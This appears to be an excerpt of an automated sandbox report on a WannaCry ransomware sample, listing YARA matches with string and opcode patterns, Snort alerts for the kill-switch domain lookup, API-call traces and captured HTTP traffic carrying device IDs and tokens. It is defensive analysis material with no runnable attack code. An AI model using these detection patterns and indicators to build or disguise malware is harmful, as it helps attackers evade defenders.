6.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 31 entries

Snort Signatures

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.6 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.68.8.8.860350532830018 07/20/22-09:07:21.468085
SID:	2830018
Source Port:	60350
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.6 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.68.8.8.856591532830018 07/20/22-09:07:20.118371
SID:	2830018
Source Port:	56591
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.6 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.68.8.8.851748532830018 07/20/22-09:07:22.952005
SID:	2830018
Source Port:	51748
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Binary string: d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb source: mssecsvr.exe, 00000007.00000002.984280086.0000000000710000.00000002.00000001.01000000.00000004.sdmp, tasksche.exe, 00000008.00000000.392587153.000000000042A000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 00000009.00000000.395649514.000000000042A000.00000002.00000001.01000000.00000006.sdmp, 48O5lgRp91.dll, mssecsvr.exe.2.dr, tasksche.exe.4.dr

Source: C:\Windows\tasksche.exe	Code function: 8_2_00409476 FindFirstFileW,	8_2_00409476
Source: C:\Windows\tasksche.exe	Code function: 9_2_00409476 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	9_2_00409476
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040DE5E SendDlgItemMessageW,DestroyIcon,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SHGetFileInfoW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	9_2_0040DE5E

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.6:56591 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.6:60350 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.6:51748 -> 8.8.8.8:53

Source: Joe Sandbox View	JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad
Source: Joe Sandbox View	JA3 fingerprint: 9e10692f1b7f78228b2d4e424db3a98c

Source: global traffic	HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitContent-type: text/xmlX-MSEdge-ExternalExpType: JointCoordX-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40X-PositionerType: DesktopX-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -480X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-BM-DeviceScale: 100X-Search-TimeZone: Bias=480; StandardBias=0; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-BM-DeviceDimensionsLogical: 1232x1024X-BM-DeviceDimensions: 1232x1024X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAARa1E%2BxM1GZ4gn6pDn3APGPBd2d5h0M0t8vWgduHknAF4CuVF8BdGFEsNfwEKsAarX8Z7bQ64h6dhmJf04baM2e/Pda5Ys1YIWudUaLf1Q22V8bLB9ZL9tCDNH5gAX8oIHkiPRSLDvLze6jHTN38Xp7L6LMfWC2cG7Jq%2BuBqn1BLvyw0WWIDCEFVIEpRnBbRocBqEr%2BYZei%2BUP0L4dKx6isIE/BiAJA/MU7M0Y2cmOYjolXfCG/CSm01r9UCtGdwuViQd5AEsTONQ5SxZ8e8JbBit83IdjrCKhCi7kSfk/8o5bzZEi%2BQWR6efIUSnL4eY0Obw1BSbET5Vq1jCBcTD2cDZgAACO/loQylKFkHqAFGQyVfBEpS7RL6iwJW51mrzWZVi3Z5zMfZe8hhsgqodsWOn1HUS65JIXdUTF3HqbN3oDgdsnOzBr097uz9iIgqXWaPh3kx9CyUZ84h6yQ9Iauh10fV2e88qmzGrtZ0LP/aABK3GmiitF9NbAnQDCQGXVLTyHZ8AXwkiJAU0FABFw/Hc2khswrjSGSIAn9ykP8Kb72G2jXPPOjnYYvlY1afbpGjcvtSG/j6lxojtzFE7/Yi39SFLN7j9fElE0/A/XV55Ol3Dj7aO5GnKwDXyIiPHMHP3O%2BEIsCx4q2i8icZHtE0YXelO9Zs63Ak/5vdpE0MBdIW69pboYmhwvSr94SGj0OkpjGJRkz33tcqbi12mtFkRRg3V3Z38HgVpACRJBYhpdHi62DmUG%2Bru/4ALiiP9RILmJ1yN5rEGY0zDa7IzdcCTpym56Yb/OJ2c1CZxrOK6MzGVMWJ3iolVqEB7XY9gu56Qa4AYAOcmDEMo/4XcOycuyKs5%2Bzwi2%2BQPzyQ4%2BsfOvDqAHgm%2BQLlhucHFzwOYegTle6meyPEPtOmwOZEKuDrcHb79X7u1AE%3D%26p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1646756769X-Device-isOptin: trueX-Device-Touch: falseX-Device-ClientSession: 7F5B29081F5049808846537278FF1D4AX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderAccept: /Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: www.bing.comContent-Length: 81571Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=54AD14FB4D1E4A6C815A867991009454; _SS=CPID=1658333216075&AC=1&CPH=4ef661f2
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4740Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4659Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4794Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: GET /client/config?cc=US&setlang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAcHikNthsPmyHB46AmBTQ%2Bo/1R32V/2pOSDROXy2DLs7RL87TKgXW5X/fW8wZXqiDpINwJlUXgyp/g%2Bq/ZO2uD8J8jOZ76sVnEn6mfVzAzbFeBEyfdxY8ju4PwtqMY99OaFq8vEa/xU9RJCRJMAi6Hh4yXFarU3OldDaGSF5bUox/HE%2B0USj5GIFa%2B39xqeOqBdh2GXK/Iqq7OQrzmLNlAw4IQovpZDCX2ifndE%2BmLk4xgdFO6kHf9C/3HYRZqWciOZZmOXb99AaxHqHRtQ5dV3ncOXed0IDajtxSklSJtrvFXNnpsLfAgSbZyziiUZpLMEvPwtoB%2BESDkbbhX/dYmMDZgAACFY5hf88AG1lqAF9B1%2BWaLRy3kpK1v8Be12iYFp/BEfMSA3tppt4rA8z2y5whQl0TMbLEVEyaIrbq4kl4Er9wt5ZpKgq2R6W7a16P37ngLePBYqRpyP4Xaz%2BiCUTN8OtZtaK0g8Z6L4hZw6iSs5cfPvfYbt97QxJWBwjmEUu/x/XLS3WXeQkWeueeO90QiThvOae1Aa4eJTeTKomYcLpYjzrsATexblCGw8SPWmvU7boJm8NwnokfYEpRaVg%2B/T3RUFpzKOkYOiSW0RSZPDbCV9YblCJ6IECy4OJgTcpwXcNWggcAarDSXJlL2CgdSof5Du/%2BWm3M7kN09PF6vWZBrbcqyXas27cC%2BYi8m7DM1WvOieMmY6tYcYcjVGRuPYpCFGnDaqMmvkBTHXHKh0hduDiwWb19kyEnTGcgEglZY1b1B%2B4MhFz7EGbQwKoZY//OgwLVu1PzxAuNCQkfFDCVXpjUjM9jRFKC1vQUUPOmR%2BTtYDSlhADqFTiEryCo7eJhq764Fi27MPRPJqM1oJ5VgGEMSy/TW7zpijCnm1wnFllKBTgYJ4CmFFWKIzmfOc0%2BrW21gE%3D%26p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1658333215User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-Touch: falseX-Device-ClientSession: 3CBFA773C2AF4C5583A2BFEA2846B3B6X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=54AD14FB4D1E4A6C815A867991009454
Source: global traffic	HTTP traffic detected: GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-Device-IsBatteryCertified: falseX-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-Device-IsBatteryEnabled: falseX-Device-NetworkType: ethernetX-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-VoiceActivationOn: falseX-Device-AudioCapture: Microphone (High Definition Audio Device)X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAcHikNthsPmyHB46AmBTQ%2Bo/1R32V/2pOSDROXy2DLs7RL87TKgXW5X/fW8wZXqiDpINwJlUXgyp/g%2Bq/ZO2uD8J8jOZ76sVnEn6mfVzAzbFeBEyfdxY8ju4PwtqMY99OaFq8vEa/xU9RJCRJMAi6Hh4yXFarU3OldDaGSF5bUox/HE%2B0USj5GIFa%2B39xqeOqBdh2GXK/Iqq7OQrzmLNlAw4IQovpZDCX2ifndE%2BmLk4xgdFO6kHf9C/3HYRZqWciOZZmOXb99AaxHqHRtQ5dV3ncOXed0IDajtxSklSJtrvFXNnpsLfAgSbZyziiUZpLMEvPwtoB%2BESDkbbhX/dYmMDZgAACFY5hf88AG1lqAF9B1%2BWaLRy3kpK1v8Be12iYFp/BEfMSA3tppt4rA8z2y5whQl0TMbLEVEyaIrbq4kl4Er9wt5ZpKgq2R6W7a16P37ngLePBYqRpyP4Xaz%2BiCUTN8OtZtaK0g8Z6L4hZw6iSs5cfPvfYbt97QxJWBwjmEUu/x/XLS3WXeQkWeueeO90QiThvOae1Aa4eJTeTKomYcLpYjzrsATexblCGw8SPWmvU7boJm8NwnokfYEpRaVg%2B/T3RUFpzKOkYOiSW0RSZPDbCV9YblCJ6IECy4OJgTcpwXcNWggcAarDSXJlL2CgdSof5Du/%2BWm3M7kN09PF6vWZBrbcqyXas27cC%2BYi8m7DM1WvOieMmY6tYcYcjVGRuPYpCFGnDaqMmvkBTHXHKh0hduDiwWb19kyEnTGcgEglZY1b1B%2B4MhFz7EGbQwKoZY//OgwLVu1PzxAuNCQkfFDCVXpjUjM9jRFKC1vQUUPOmR%2BTtYDSlhADqFTiEryCo7eJhq764Fi27MPRPJqM1oJ5VgGEMSy/TW7zpijCnm1wnFllKBTgYJ4CmFFWKIzmfOc0%2BrW21gE%3D%26p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1658333215User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-IsEnergyHero: falseX-Device-Touch: falseX-Device-ClientSession: 3CBFA773C2AF4C5583A2BFEA2846B3B6X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=54AD14FB4D1E4A6C815A867991009454
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Pwej?ver=cbf0 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4IeAK?ver=e722 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4ZULl?ver=f222 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4ZFcU?ver=97b4 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4PlTB?ver=2a94 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Iy6z?ver=0081 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com

Source: unknown

Network traffic detected: IP country count 21

Source: unknown

DNS traffic detected: query: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com replaycode: Server failure (2)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51705
Source: unknown	Network traffic detected: HTTP traffic on port 55521 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59313
Source: unknown	Network traffic detected: HTTP traffic on port 50561 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55601 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55517
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55519
Source: unknown	Network traffic detected: HTTP traffic on port 55429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51952
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50195
